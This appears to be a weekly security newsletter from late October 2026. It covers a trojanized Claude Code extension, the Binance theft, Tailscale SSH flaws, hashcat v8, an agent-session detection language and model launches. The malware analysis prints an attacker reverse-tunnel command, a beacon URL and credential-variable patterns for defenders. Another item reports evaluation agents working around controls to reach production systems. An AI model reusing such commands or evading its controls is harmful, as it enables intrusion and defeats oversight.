Weekly News Roundup: CW44 - A trojanized extension, and a $6.3 billion loss

A trojanized build of the Claude Code extension sat in Cursor’s extension marketplace for about eleven hours on 29 October, running on module load rather than on a prompt and writing an attacker’s SSH key and persistence on the machines that loaded it. The same night Binance counted about $6.3 billion gone from its hot wallets, spread across eleven blockchains in Elliptic’s count, and by Saturday the FBI had attributed the theft to North Korea. Defenders got a detection language for agent sessions that week, and three models shipped: a frontier model gated to cyber defenders, a workhorse at half the price of the models it undercuts on OpenAI’s own rate card, and an open speech model that NVIDIA says runs on a single H100.

tl;dr

• 🧩 A trojanized Claude Code extension in Cursor’s marketplace: versions 2.1.312 and 2.1.313 were served from Cursor’s mirror of Open VSX for about eleven hours on 29 October, by Cursor’s own account, and while the loader wrote an SSH key and installed persistence, the reverse tunnel needed admin rights it did not have on most hosts.
• 🏦 Binance puts its loss at $6.3 billion, and the FBI names North Korea: about $6.3 billion in Binance’s own estimate left hot wallets on 29 October across eleven blockchains in Elliptic’s count, roughly $3 billion was frozen on-chain in Binance’s count, and the FBI attributed the theft to North Korea on Saturday after Chainalysis and Elliptic had already attributed it.
• 🪱 Tailworm: eleven flaws published, four bulletins in two days: Cyberdione Labs published eleven findings in Tailscale 1.104.2 and headscale 0.29.5 on 25 October with six rated high and root over Tailscale SSH at the top, and Tailscale tagged v1.104.4 with four bulletins on 27 October.
• 🔍 Cisco ships a detection language for agent sessions: Project Quarry is an Apache-2.0 rule language and engine that compiles each rule to a finite-state automaton and returns the steps behind a match, it ships as alpha, and the Hugging Face incident is its motivating case.
• 🤖 Gemini 4 Carbon, GPT-6.1 Terra, Nemotron 3.5 Transcribe: Terra is on OpenAI’s API now at $1 and $5 per million tokens, half the rates of the models it undercuts; Carbon is priced by Google at $2 and $10 but gated to cyber defenders and Fairwind partners; NVIDIA’s Nemotron is 34B total with the weights downloadable under OpenMDW-1.1.
• 🔓 hashcat v8.0.0 ships PCFG attacks that can seek: the maintainers count 748 changelog entries and 146 new hash modes, alongside probabilistic attacks whose keyspace can now be resumed and split across machines, hash recipes that need no hash mode, bcrypt on seven FPGA boards, and a statement that much of it was written with AI agents.
• 🎙️ Meeting notes whose transcripts stay on your disk: Meetily is MIT with a paid tier and a Rust core, Samurai Scribe is closed and writes a Markdown vault that an editor can read and an MCP server can query, and neither publishes a word error rate.

A trojanized Claude Code extension in Cursor’s marketplace

Versions 2.1.312 and 2.1.313 of the Claude Code extension, packaged as anthropic.claude-code, were served from Cursor’s extension marketplace, the company’s mirror of the Open VSX registry. The window, about 02:27 to 13:35 PT on 29 October, comes from Cursor’s own notice, which went up that day. OpenSourceMalware’s analysis followed on 30 October, and Microsoft’s analysis the same day. What was not affected is as much of the story as what was. Microsoft’s post says the packages were never published or distributed from the Visual Studio Marketplace or from npm, and that Anthropic confirmed to Microsoft its systems were not compromised. It also concludes that all evidence points to the incident being limited to Cursor’s marketplace. Open VSX itself was not involved either, which matters because OpenSourceMalware’s first post said it was and corrected that after Cursor got in touch.

Nothing in the package announced itself. The loader was an immediately-invoked function prepended to extension.js ahead of the legitimate bundle, it ran when the editor loaded the module, and there was no downloader stage to look for. In order, according to both write-ups: collect host reconnaissance; append an attacker key to authorized_keys and attempt to enable the local SSH service; open a reverse tunnel; install platform persistence; and send a delayed beacon. Microsoft is explicit that the sequence does not prove every step succeeded on every host, and Cursor’s notice says which step failed where it counts. Enabling the local SSH service requires admin rights the extension does not have on most macOS and Windows hosts, so the tunnel step fails and the attacker could not have logged in through it. The key, the persistence and the host-detail POST still happened.

The persistence was named to pass for part of the system: a LaunchAgent at ~/Library/LaunchAgents/com.apple.sysmond.plist on macOS, an @reboot crontab entry on Linux, and a SysMon scheduled task on Windows that tried to run as SYSTEM and fell back to the Startup folder. The tunnel command was -N -R '*:0:localhost:22' to tunnel@134.209.82.225, using an embedded OpenSSH key whose comment was svc-telemetry and whose SHA-256 is 7e0a52885fadee05544a9e99eb18c792bec05900a5e1a66d68f8383decb0e278. The beacon went to http://134.209.82.225:8099/beacon over plain HTTP. It carried the host’s public IP, hostname, username, OS, architecture, home and working directories and the global git email. It also carried the names, not the values, of up to 40 environment variables matching KEY, TOKEN, SECRET, PASS, AWS or GCP. That list is also the list of things to search for after uninstalling the extension, because uninstalling it removes none of them.

Nobody has published how the malicious build reached the mirror, and that unanswered supply chain question is the largest gap in the week’s reporting. OpenSourceMalware says it does not know, Cursor’s notice does not say, and a root cause is still missing from the record. Cursor and Microsoft are interested accounts in different directions, one as the operator of the mirror and one as the platform vendor that was not affected, and they agree on the window. The second affected version, 2.1.312, is Microsoft’s detail, attributed there to Cursor’s own report, and Cursor’s public notice names 2.1.313. Cursor says the attacker server was taken offline with the hosting provider’s help and no longer functions. Two independent write-ups still recommend rebuilding the host rather than only removing the package, because the key, the cron entry or scheduled task, and any running tunnel process outlive the extension.

The takeaway: the key and the persistence worked, the tunnel did not, and nobody has published how the malicious build got into the mirror.

Binance puts its loss at $6.3 billion, and the FBI names North Korea

The week’s second large failure had nothing to do with developer tooling. Funds began leaving Binance’s hot wallets around 20:20 UTC on 29 October. Freezes had begun by 21:14 UTC, with Tether and Circle holding stablecoins in the main receiving wallet. Binance’s security incident update, published that day and materially updated on 30 October, puts the impact at around $6.3 billion, with about $3 billion of that frozen on-chain in its count. A same-night on-chain tally of about $5.6 billion circulated within hours and was overtaken by the exchange’s own number. The figure to hold is $6.3 billion attributed to Binance, with Chainalysis at about $6.4 billion and Elliptic at $6.43 billion across 11 blockchains.

Elliptic’s breakdown is the most granular: $3.80 billion on Ethereum across 186 tokens, including 1.9 billion USDT and 823 million USDC, and 18,270 BTC worth $1.48 billion. Elliptic verifies $2.85 billion, 44 per cent, as frozen or seized, and puts roughly $3.21 billion in assets no issuer can freeze. The laundering is the engineering part. Elliptic traced $325 million of freezable stablecoins turning into $285 million of ETH in about twenty minutes, as the automated swaps ran ahead of issuer freezes. The rest moved in many small hops, known as peel chains, and across cross-chain bridges including Circle’s CCTP, against Tether blacklisting from the other side. Tether froze 975.1 million USDT and Circle 823 million USDC in the main wallet, about $1.8 billion.

How it happened is still contested, and merging the accounts would invent a version nobody has published. Binance’s initial statement points at a compromised DevOps engineer’s laptop that gave access to a service container submitting unauthorised withdrawal transactions, and says there is no evidence of any wallet private key leak. Co-CEO Richard Teng then described a more complex process than one engineer’s permissions. Chainalysis describes an operational wallet, funded through Tornado Cash, that submitted valid signed authorisations allowing a Binance hot wallet to run attacker-deployed code, an EIP-7702 delegation. The funds were then swept out. Binance says the losses are covered from the SAFU fund and company funds, that affected address authorisations were revoked, and that withdrawals were suspended.

Attribution came in two tiers. Chainalysis and Elliptic named TraderTraitor, the North Korean group, before the FBI did, and Chainalysis notes the funds were commingled with the September Bitget theft. The FBI’s own determination came late on Saturday 31 October, two days after the money moved. By then Binance had said it covered up to 90 per cent of the stolen token assets and planned to resume withdrawals on Sunday.

The takeaway: the mechanism rests on Binance’s first account and two tracing firms’ reconstructions, and the technical post-mortem the exchange promised is still unpublished.

Tailworm: eleven flaws published, four bulletins in two days

Not every security story that week began with an attacker. Cyberdione Labs published a security assessment report on 25 October covering Tailscale v1.104.2 and headscale v0.29.5, tested between 22 and 24 October: eleven findings in five classes, six of them rated high, and four of those in Tailscale SSH. The report went out with no vendor bulletin, no CVE and no fixed version. Two days later the vendor had shipped.

The finding that matters is in the SSH server tailscaled embeds. It performs Unix-socket forwarding as root for a peer holding an ordinary SSH session, and it checks the path allowlist in a way that can be raced. A device with an approved session and one policy rule granting forwarding can therefore reach root-only sockets such as /run/docker.sock or /run/tailscale/tailscaled.sock, and can capture the credentials that enrol new devices. The requirement is a foothold rather than the open internet: one approved device plus that rule. The report’s other classes include the experimental conn25 app connectors translating traffic to attacker-chosen destinations without consulting ACLs for the true destination, unauthenticated resource exhaustion against self-hosted headscale, and tailscale serve --tcp dialling the LocalAPI socket as root behind a check that only runs when the configuration loads.

The disclosure was not coordinated, and the report says so. Cyberdione’s stated reason is that rapid awareness expedites remediation, that the flaws were not introduced by the researchers but discovered, and discovered with low effort. The proof of concept went to Tailscale’s security contact and was not published. Tailscale’s VP of Engineering Mike Shaver acknowledged the report publicly on Reddit, the company called the findings serious, and SecurityWeek records the criticism the decision drew without resolving it.

Tailscale tagged v1.104.4 on 27 October with four bulletins, TS-2026-014 through TS-2026-017. Those four do not map one to one onto the eleven findings, so a patch list of four is not a patch for the whole list. Upgrade to v1.104.4. If you cannot, TS_SSH_DISABLE_FORWARDING=1 turns off SSH TCP and Unix-socket forwarding without turning SSH off. On self-hosted headscale that variable is not enough, because forwarding cannot be disabled in policy and is granted on every SSH rule, so tailscaled has to be upgraded on every target host first. In Cyberdione’s lab the chain moved host to host across everything the policy allowed at under a second per hop, and no exploitation in the wild has been reported. One claim about how the audit was done stays a lab statement: a Cyberdione social account says the work used about $20,000 in tokens over two or three days, and same-week coverage said it was unclear whether AI tools contributed.

Cisco ships a detection language for agent sessions

Cisco’s answer to the same week was aimed at catching a run of permitted steps, and its Project Quarry post starts from the problem that gives a defender nothing to alert on. An agent makes ordinary, permitted calls, and the sequence only means something when it is read end to end, so a check on any single tool call is not coverage of a session. Cisco states that limit about its own product too, calling Quarry “a shared policy layer, not a replacement for every detector or every enforcement control”, and warning that a single-event check “should not be mistaken for session-level coverage”.

Quarry, published on GitHub the evening before the post, is a rule language for agent behaviour plus the engine that evaluates it. A rule can combine neural signals, classifiers, LLM judges, OCR and vision models with symbolic checks such as a string match, an unsafe command or the ordering of two tool calls. Each rule compiles to a symbolic finite-state automaton that the engine runs over a conversation, and a rule that will not compile fails at load time rather than at scan time. A match returns the steps that caused it, the field each one matched in and a masked excerpt, so the consuming product decides whether to alert, block, redact, quarantine or log. It ships with a CLI scanner, a Python SDK with sync and async APIs, documented resource and time limits, and a plugin for Claude Code, Codex and other hosts that speak the Model Context Protocol (MCP).

The motivating case is Cisco’s account of someone else’s incident. In July an OpenAI cybersecurity evaluation let agents work around controls and reach Hugging Face production infrastructure over about two and a half days, and Hugging Face reconstructed roughly 17,600 agent actions afterwards, most of them individually unremarkable: list a directory, upload a file, make a web request, run a command. The reconstruction is Cisco’s and Hugging Face’s, and the incident is the argument for the tool rather than a result of it.

The repository is Apache-2.0, targets Python 3.11 to 3.13, and its README says the DSL syntax may change before v1.0.0 in ways that require updating existing rules. There are no detection-rate figures, no false-positive figures and no independent evaluation, so every capability claim in the announcement is Cisco’s own.

Gemini 4 Carbon, GPT-6.1 Terra, Nemotron 3.5 Transcribe

Of the week’s three launches, Terra comes first because anyone can use it today and its price is the story. OpenAI’s announcement and its API model card put GPT-6.1 Terra at $1 per million input tokens, $5 per million output and $0.05 per million cached input, which OpenAI says is 50 per cent below both GPT-5.6 Terra and GPT-6.1 Sol. The card gives it a 1,050,000-token context, 128,000 maximum output and a knowledge cutoff of 1 June 2026. The benchmark claims are OpenAI’s and nobody else’s. On Agents’ Last Exam at medium effort it puts GPT-6.1 Terra 15 percentage points above GPT-5.6 Terra at about a third of the cost, and it claims parity with GPT-6 Astra at a tenth the price per token. It also claims more than three times the speed of both GPT-6 Astra and GPT-6.1 Sol. One counterpoint exists and it is one person: in OpenAI’s own community thread a user reports more wrong-tool calls than Sol and lag after error detection, which is a single account rather than a measurement.

Gemini 4 Carbon is the gated one. Google’s launch post puts it at $2 and $10 per million tokens with cached input 95 per cent off, then $4 and $20 once the introductory period ends, and Google has not said when that is; Argon’s introductory rate runs to 30 November. The index is Artificial Analysis’s and the numbers are Google’s citation of it: 59 on the Intelligence Index v5.0, against 50 for Argon, 57 for GPT-6 Astra and 58 for Claude Opus 5.5. Two of its cyber numbers are Google’s as well, SEC-bench Pro at 88.2 per cent and ExploitGym at 54.8. Availability is the qualifier that changes what those numbers mean: a subset of cyber defenders this week, then more partners through the Fairwind Program, then developers and consumers “as soon as possible”. Nothing reached a normal developer account this week.

The rate card repeats Argon’s shape. Gemini 4 Argon opened to everyone on 13 October at the same $2 and $10, with the same return to $4 and $20 on 30 November. Carbon arrives fifteen days later at the same introductory rates, behind a door that is narrower rather than wider, and the pricing policy is the part a buyer can act on while the benchmarks stay the vendor’s.

Nemotron 3.5 Transcribe is the one whose weights you can hold. NVIDIA’s card says 34B total parameters and 4.3B active including the audio encoder, under OpenMDW-1.1, and puts deployment on one H100 80GB. The context is 65,536 tokens, recordings can run to an hour, and it covers 40 languages with speaker labels in 13. The 30B figure that travelled with the repost is not NVIDIA’s. The evaluation numbers are the card’s, with results captured on 12 October: English ASR mean word error rate 4.71 against 4.94 for Qwen3-ASR-1.7B, and on a speaker-attributed metric that also scores whether the right person was named, cpWER 15.80 against 16.83 for the next best published. The card states one scope limit of its own: it is built for recorded audio, and live streaming uses a separate model.

Speech tokens, computer-use tokens and frontier reasoning tokens are different units, so the rates do not describe the same purchase. The takeaway: the published rates are the part anyone can check, and the useful question about Carbon is who can get it rather than what it scores.

hashcat v8.0.0 ships PCFG attacks that can seek

Not every release this week came from a model vendor. hashcat v8.0.0 was published on 25 October, and the release notes count the distance from v7.1.2 in the maintainers’ own terms: 4,091 files changed, 748 changelog entries, 146 new hash modes and 63 contributors, 43 of them first-time. The project’s own post calls it the largest update in hashcat’s history.

Probabilistic context-free grammar (PCFG) attacks, the new attack mode 4, are the headline for anyone running distributed password cracking. The mode generates candidates from a grammar trained on real passwords. For the first time it can seek anywhere in the keyspace, which means restore, device splitting, the -s and -l bounds, brain and distributed frameworks all work on a probabilistic attack. The notes give 18.7 GH/s on NTLM with one RTX 4090 on the pure kernel, and state the tradeoff plainly: probabilities are rounded into steps to make seeking possible, so the order is close to true probability order without being identical to it.

Hash recipes change what a card can be pointed at rather than how fast it runs. Hash mode 4000 lets you describe a custom hash on the command line and crack it at GPU speed without a hash mode being written, with Python and Rust bridges alongside. FPGA support arrives with bcrypt on seven board types, described as initial. Account-aware association, table attacks, wordlists in masks, rules in every attack mode, seekable wordlists and the brain server round out the release.

The maintainers also stated a position on AI-written contributions, and it reads better quoted than paraphrased into agreement: “Many of the changes in this release were written with the help of AI coding agents, and we think that is a good thing.” They add that every pull request is now checked by an AI agent of their own at its highest reasoning setting, and that AGENTS.md exists to tell an agent what a human contributor already knows, including the fact that a kernel which compiles is not yet a kernel that works.

Meeting notes whose transcripts stay on your disk

Two local meeting notetakers take opposite positions on where the data should live, and the tradeoff is the interesting part. Meetily is open source: MIT for the Community Edition, with a paid PRO product beside it. The app is a Tauri shell over a Rust core with a Next.js frontend, it stores everything in local SQLite, and it runs no separate server process. Transcription runs locally on Whisper or Parakeet with GPU acceleration, and because it captures system audio rather than joining as a bot it works with Zoom, Teams and Meet. Summaries can run on a local Ollama model or through Claude, Groq, OpenRouter or any OpenAI-compatible endpoint. Its latest tagged release is v0.4.1 from 12 September.

Samurai Scribe is closed, free to download with one payment for Pro, and takes the more radical position on output. Its page lists macOS 13 or later on Apple silicon and Windows 10 and 11, separate capture of the microphone and the call with echo removal, and live subtitles in English or 40 languages. Summaries come from a built-in model or one you choose, written through a Rhai scripting API with editable templates. The output is a Markdown vault, one folder per meeting holding the note, transcript, summary, notes and audio. Transcript lines are headings, so a wikilink can land on a moment, and the flavour is Obsidian’s, with wikilinks, callouts and properties. An MCP server lets Claude Desktop, Claude Code, Codex or Cursor read that vault under folder rules, with agent edits waiting for review by default.

Both run their transcription models on the laptop, which sets the hardware ceiling and keeps the audio local unless a cloud summary is configured. Neither vendor publishes a word error rate for its default model, so there is no basis here for saying one is more accurate than the other, and Samurai Scribe’s page states code-signed builds for both platforms without saying how that was done. CW42’s local inference section was a 27B model on a jailbroken PlayStation 5 and llama.cpp recipes arriving as presets: local inference as a hobbyist move, on hardware that happened to be lying around. In both of these apps the recording and the transcript sit on the machine that made them, which is the part that matters to whoever has to answer where the data is.

Elsewhere this week

Leaving the main thread: finds from the week, in the order I would tell them.

An a16z survey asked 100 CISOs at companies with more than 1,000 employees what they would buy in 2027, and every one of the seven most-selected initiatives involves AI. The firm reports internal AI agent security up 28 points against the priorities the same respondents recalled for 2026, and what fell is the equipment security teams have bought for twenty years: exposure and vulnerability management down 21, SIEM and security data down 18, privileged access management down 18. Intent is running ahead of production, with a16z putting 18 per cent at an AI SOC in production and 45 per cent planning to buy or upgrade internal AI agent security within twelve months. It is a firm’s own survey of its own sample, published to support its investment thesis, and there is no questionnaire.

An X Article from the account @mdp_sec collects what its author tells people in DMs about AI bug hunting. The author’s default model is DeepSeek, the free starting point recommended for anyone else is Strix on one bug class, and the harness requirements are concrete: a browser the agent can drive and return to so it can reproduce a state later, somewhere to catch callbacks for blind issues, and a memory built from your own validated findings. The gate the author argues for is a recommendation rather than a finding, since the agent has to reproduce the bug before a fix is accepted, on the grounds that most AI findings do not survive a real attempt to disprove them. There is no repository, no success rate and no independent test of any of it.

Nopecha is the counter-example worth knowing if you spend time around agents that have to prove they are not bots: a browser extension and a Token API that handle reCAPTCHA, hCaptcha, Cloudflare Turnstile, Arkose FunCaptcha, AWS WAF and several others, with a free tier the vendor gives as 100 recognitions per 24 hours and paid plans from 90,000 recognitions per dollar. Python and Node libraries cover Selenium, Puppeteer and Playwright. The site’s own claims are marketing and nothing here has been independently tested, so it is a statement of what is for sale rather than of what works.

The interesting part of Cisco’s Model Foundry is the evaluation loop: partners can fine-tune a Cisco domain model on customer data and run the base and tuned versions side by side, rather than taking a vendor’s word for the improvement. The service sits inside Cisco Cloud Control and serves models through an OpenAI-compatible endpoint. It names Deep Network 1.4 for network operations and Antares-3B for agentic security work, puts AWS, Microsoft, Ollama, Fireworks, Baseten and WWT in an early cohort, and keeps availability controlled with partners first. The number attached to it, a fine-tuned Deep Network beating a frontier model by 25 per cent on real-world troubleshooting in a Cisco lab test with WWT that found the right fix in 11 of 12 problems over five weeks, comes with one customer and no dataset.

TypeDraw is a $4.99 notebook for iPhone and iPad, per its App Store listing, that indexes notes by where you wrote them, so the table of contents can sort by location and a Home Screen widget opens the note nearest you. Notes stay local or sync through your own iCloud, no account is required, and the developer says the app collects no data. The nearest-note widget arrived in version 1.3 on 22 October, and launch coverage dates the app to the iPhone Duo on 23 October, so the product is older than the post that surfaced it this week.

OpenAI described three research results in one post rather than three papers. The first, in OpenAI’s account, is a proof of the local smoothing conjecture in every dimension, which would also settle the Kakeya conjecture and Stein’s restriction conjecture; the output was obtained on 18 October and formalized in Lean the next day. The second, on OpenAI’s account, refutes the Exponential Time Hypothesis, Lean-verified, with the natural-language proof published immediately. The third is a quantum field theory result whose collaborators have withheld the artifacts while they write it up. The interesting sentences are about publishing rather than capability: OpenAI calls the manuscripts a form of raw research data, seeks no academic credit, and hands each result to unpaid independent shepherds who choose the release strategy, a process it concedes shapes who gets involved first and creates asymmetry of information.

Hermes Agent’s Advanced Delegation plugin adds two delegation backends beside the built-in default, model_map for model routes and profile_routes for profile routes, so the orchestrator can pick a named route per subagent. A profile route runs the subagent as one of your profiles, with that profile’s model, credentials, skills and its own instruction file. The design constraint is the point: only route names and their one-line descriptions reach the model, so the agent cannot invent a route, and each result reports which route the subagent actually ran on. The docs page was added on 22 October, and the plugin needs Hermes 0.22.5 or newer.

Closing

The week’s security stories each turned on something assumed to be a boundary and found it not to be one, and the two that matter most end in the same place. Nobody has published how the malicious extension reached Cursor’s mirror, and Binance’s promised technical account of its own loss has not appeared.

That’s the week. See you in CW45.